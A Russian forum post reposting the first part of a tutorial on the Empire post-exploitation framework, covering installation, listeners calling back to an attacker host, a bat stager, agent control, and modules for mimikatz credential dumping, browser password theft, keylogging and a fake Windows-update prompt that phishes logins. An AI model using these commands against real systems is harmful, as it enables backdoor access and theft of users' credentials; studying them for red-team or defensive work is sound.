✍️ Статья Что такое фреймворк Empire и как им пользоваться для взлома различных систем. Часть 1

The 146X Project Dublikat Web Studio Avram Lincoln AL Service Navigator Knyaz

BlackPope

Команда форума
Модератор DeepWeb ✔️
PR-Group DeepWeb 🔷
Регистрация
27.04.2020
Сообщения
230
Оригинальный проект PowerShell Empire уже давно не поддерживается, так что речь пойдет о его форке от BC-SECURITY. Этот форк продолжает развиваться и обновляться.

Многие слышали про Empire — инструмент постэксплуатации Windows, Linux и macOS. В статье я затрону все аспекты работы с ним, а также расскажу, какие именно функции фреймворка мы часто используем на практике. И даже если ты опытный пентестер или редтимер, я думаю, ты отметишь для себя что-то новое и полезное.

T_ek-T4zZp0.jpg


Установка Empire

Если ты используешь Kali Linux, то для установки этого чудо-фреймворка потребуется выполнить всего лишь одну команду:

sudo apt install powershell-empire

Если на твоем компе другая система, нужно скачать файлы проекта и установить их вручную.

git clone https://github.com/BC-SECURITY/Empire.git
cd Empire
sudo ./setup/install.sh


Собственно, все: фреймворк Empire установлен в твоей системе.

Получение точки опоры

Перед тем как мы рассмотрим сам программный комплекс, давай разберемся со следующими понятиями:
  • Listener — это локальный процесс, ожидающий бэкконнект с удаленного атакуемого хоста;
  • Stager — загрузчик Agent’a, то есть полезной нагрузки на удаленный атакуемый хост;
  • Agent — процесс (на удаленном атакуемом хосте), который соединяется с нашим Listener’ом;
  • Module — код, выполняемый Agent’ом для достижения определенных целей.
Запустим Empire командой powershell-empire. Ты увидишь такое окно.

L8Ou_Bjb8w0.jpg


Для получения точки опоры используется следующий порядок действий: создание Listener’a -> создание Stager’a для этого Listener’a -> запуск нагрузки на удаленном хосте (создание Agent’a).

Listener

Для создания Listener’a нужно войти в соответствующий интерфейс командой listeners.

uselistener <TAB>

rPkJafm3aOg.jpg


Поясню, что здесь что:
  • dbx — Dropbox-листенер (хорош, чтобы уклоняться от обнаружения, но требует токен для Dropbox API);
  • http — обычный HTTP/HTTPS-листенер;
  • http_com — HTTP/HTTPS-листенер, использующий объект IE COM;
  • http_foreign — HTTP/HTTPS-листенер для сторонней нагрузки Empire;
  • http_hop — HTTP/HTTPS-листенер для перенаправления команд другому листенеру, что помогает скрыть исходный IP (требует параметр RedirectListener);
  • http_mapi — HTTP/HTTPS-листенер для использования с Liniaal, что позволит получить управление через Exchange-сервер;
  • meterpreter — HTTP/HTTPS-листенер для сторонней нагрузки Meterpreter;
  • onedrive — onedrive-листенер (требует регистрацию приложения https://apps.dev.microsoft.com)
  • redirector — инструмент для перехода от одного агента к другому.
С типами листенеров разобрались, а теперь давай посмотрим, как с ними работать. Для начала выбираем тип (для примера возьмем самый простой — HTTP).

uselistener http

gQ6rC6BcGwE.jpg


Использованием прокси уже никого не удивишь, но мы можем назначить дату, когда листенер будет удален, а еще определенные часы работы (это очень удобно!). При использовании HTTPS нужно также указать путь к сертификату. Но теперь к основному: назначим имя листенера, адрес хоста для бэкконнекта и порт.

set Name l1
set Host http://192.168.6.1
set Port 4321


VrsOPq73TJo.jpg


Теперь в интерфейсе listeners мы наблюдаем только что запущенный листенер.

pS1I11VTlNk.jpg


Переходим ко второй стадии.

Stager

Давай по аналогии с листенером выберем тип stager’a (далее — нагрузки). Сделать это можно командой usestager.

oTUbYJo5Krw.jpg


Нагрузки есть для разных платформ: multi (кросс-платформенные), macOS и Windows. А еще существует несколько типов нагрузки:
  • bash — обычный Bash-скрипт;
  • launcher — так называемый one-liner-код на определенном скриптовом языке;
  • macro — макрос для офисных приложений;
  • pyinstaller — ELF-файл, собранный с помощью PyInstaller;
  • war — просто набор байтов для модернизации нагрузки;
  • applescript — файл AppleScript;
  • application — файл Application;
  • ducky — так называемый скрипт Rubber Ducky;
  • dylib — динамическая библиотека macOS;
  • jar — нагрузка в JAR-формате;
  • `machomacOS — офисный макрос для macOS;
  • pkg — установщик PKG (должен быть скопирован в директорию /Applications);
  • safari_launcher — HTML-нагрузка;
  • shellcode — обычный Windows-шелл;
  • teensy — Teensy-скрипт;
  • backdoorLnkMacro — файл .lnk для загрузки и запуска приложения;
  • bunny — скрипт Bash bunny;
  • csharp_exe — приложение PowerShell/C#;
  • dll — нагрузка в виде DLL;
  • hta — HTA-нагрузка для IE;
  • macroless_msword — документ macroless;
  • wmic — XSL-нагрузка для wmic.exe (отсутствует в оригинальном Empire).
Давай выберем тип нагрузки. Возьмем, к примеру, bat-файл для Windows.

VrAEZlB5Veg.jpg


Как и в случае с листенером, посмотрим параметры командой info.

XZM_tv9zjaQ.jpg


Что нам предлагает Empire? Снова традиционная возможность настроить прокси, но вот встроенная функция обфускации (к сожалению, только для PowerShell-скриптов) — это вещь приятная. Мы можем указать, где сохранить итоговый файл, а также настроить удаление файла после запуска. Давай укажем листенер и путь к итоговому файлу, после чего создадим stager.

set Listener l1
set OutFile /home/ralf/tmp/l1.bat
execute


Agent

Нам нужно выполнить bat-файл на целевом хосте. Ты увидишь сообщение о подключении.

kju9HGraC_U.jpg


Перейдем в главное меню и выполним команду agents, чтобы увидеть все агенты.

RzexsiDXJ2c.jpg


Для удобства можно переименовать агент командой rename и перейти в интерфейс управления агентом (команда interact).

rename LVKP4HN3 al1
interact al1


Ksxub01x5RA.jpg


Мы в системе, теперь пройдемся по самым интересным модулям, которые реально находят применение и используются нашей командой на практике.

Эксплуатация и постэксплуатация Windows с Empire
Базовые опции

К базовым опциям относятся те функции, которые реализованы в Empire без участия сторонних модулей. Так что пробежимся по тем, которые приходится часто применять:
  • sysinfo — предоставляет информацию о системе на удаленном хосте;
  • download/upload — позволяет загрузить файлы на удаленный хост или с него (подобные команды реализованы уже, наверное, везде);
  • sleep — устанавливает интервал обмена сообщениями с агентом. Таким образом, если установить интервал в 60 секунд, то агент будет принимать от оператора команду и загружать ее в очередь, а затем раз в минуту очищать очередь и предоставлять информацию;
  • steal_token — модуль имперсонации токена доступа;
  • shell [cmd] — позволяет выполнить команду черед cmd.exe;
  • ps — выводит список процессов с указанием имени процесса, его PID, пользователя, в контексте которого работает процесс, и занимаемую процессом память;
  • psinject — внедряет агент в другой процесс;
  • scriptimport — позволяет загрузить PowerShell-скрипт в память;
  • mimikatz — простое быстрое выполнение sekurlsa::logonpasswords;
  • creds — локальное хранилище учетных данных (паролей, хешей), предоставляет оперативную работу с ними. Хеши заполняются автоматически при использовании разных модулей, но также возможно их ручное добавление и удаление. К примеру, упомянутая команда mimikatz собрала некоторые учетные данные. Давай взглянем на них.
Ry606PBq_po.jpg


Это не все «быстрые команды» Empire, а, как упоминалось, те, которые мы используем постоянно.

Для подключения дополнительных модулей следует использовать команду usemodule, а если тебе необходимо найти какой-то модуль, для этого есть команда searchmodule.

n09vRgbg_xU.jpg


Раздел collection

Давай рассмотрим модули из данного раздела, которыми мы часто пользуемся. Так как почти всегда приходится вытаскивать пароли и данные из браузеров, тут на помощь приходят следующие инструменты:
  • collection/ChromeDump;
  • collection/FoxDump;
  • collection/SharpChromium.
Запустим модуль командой run или execute. При этом Empire сообщает, что использование данного модуля нарушает правила скрытности, и спрашивает, хотим ли мы продолжить.

odDw4gbdGM0.jpg


В результате мы получаем все куки, историю запросов и сохраненные учетные данные.

trl0rPlWXx8.jpg


Следующие интересные возможности — искать файлов с помощью модуля collection/file_finder и получить дамп нужного процесса с помощью модуля collection/minidump. А для отслеживания вводимой пользователем информации можно легко активировать кейлоггер — collection/keylogger. Для примера откроем блокнот и напишем слово test — это действие будет зафиксировано Empire.

p4p2P-hRJWA.jpg


С помощью collection/clipboard_monitor мы отслеживаем, что попадает в буфер обмена.

cucAOx9lywc.jpg


Наконец, самые замечательные функции этого раздела связаны с фишингом. Когда нам необходимо получить пароль и все потенциальные точки входа не прошли проверку, можно «попросить» у пользователя его учетные данные! Сделать это помогают модули collection/prompt или collection/toasted. Я приведу пример использования toasted: на экране юзера выводится уведомление (можно придумать какие угодно условия, но мы используем перезагрузку, так как никто не захочет прерывать работу с документами), на которое он реагирует. Независимо от его выбора появится окно авторизации, учетные данные из которого мы и получим.

usemodule collection/toasted
set ToastTitle
"Ваш сеанс работы будет прекращен"
set ToastMessage "Cистема будет перезагружена через 5 минут. Хотите ли вы отложить перезагрузку?"
set Application "Служба обновлений Windows"
set CredBoxTitle "Вы уверены, что хотите перезагрузить ваш ПК?"
set CredBoxMessage "Для выполнения данного действия требуется аутентификация"
run

DaNJsgTTV34.jpg


HzAqaGrc-G0.jpg


При этом у данных модулей есть параметр VerifyCreds, установив который в True мы обяжем Empire проверить эти учетные данные на подлинность, перед тем как показать их нам. Если пользователь ввел некорректные учетные данные или просто опечатался, Empire запросит их снова.

Продолжение следует…
 

📌 Золотая реклама

AnonPaste

Верх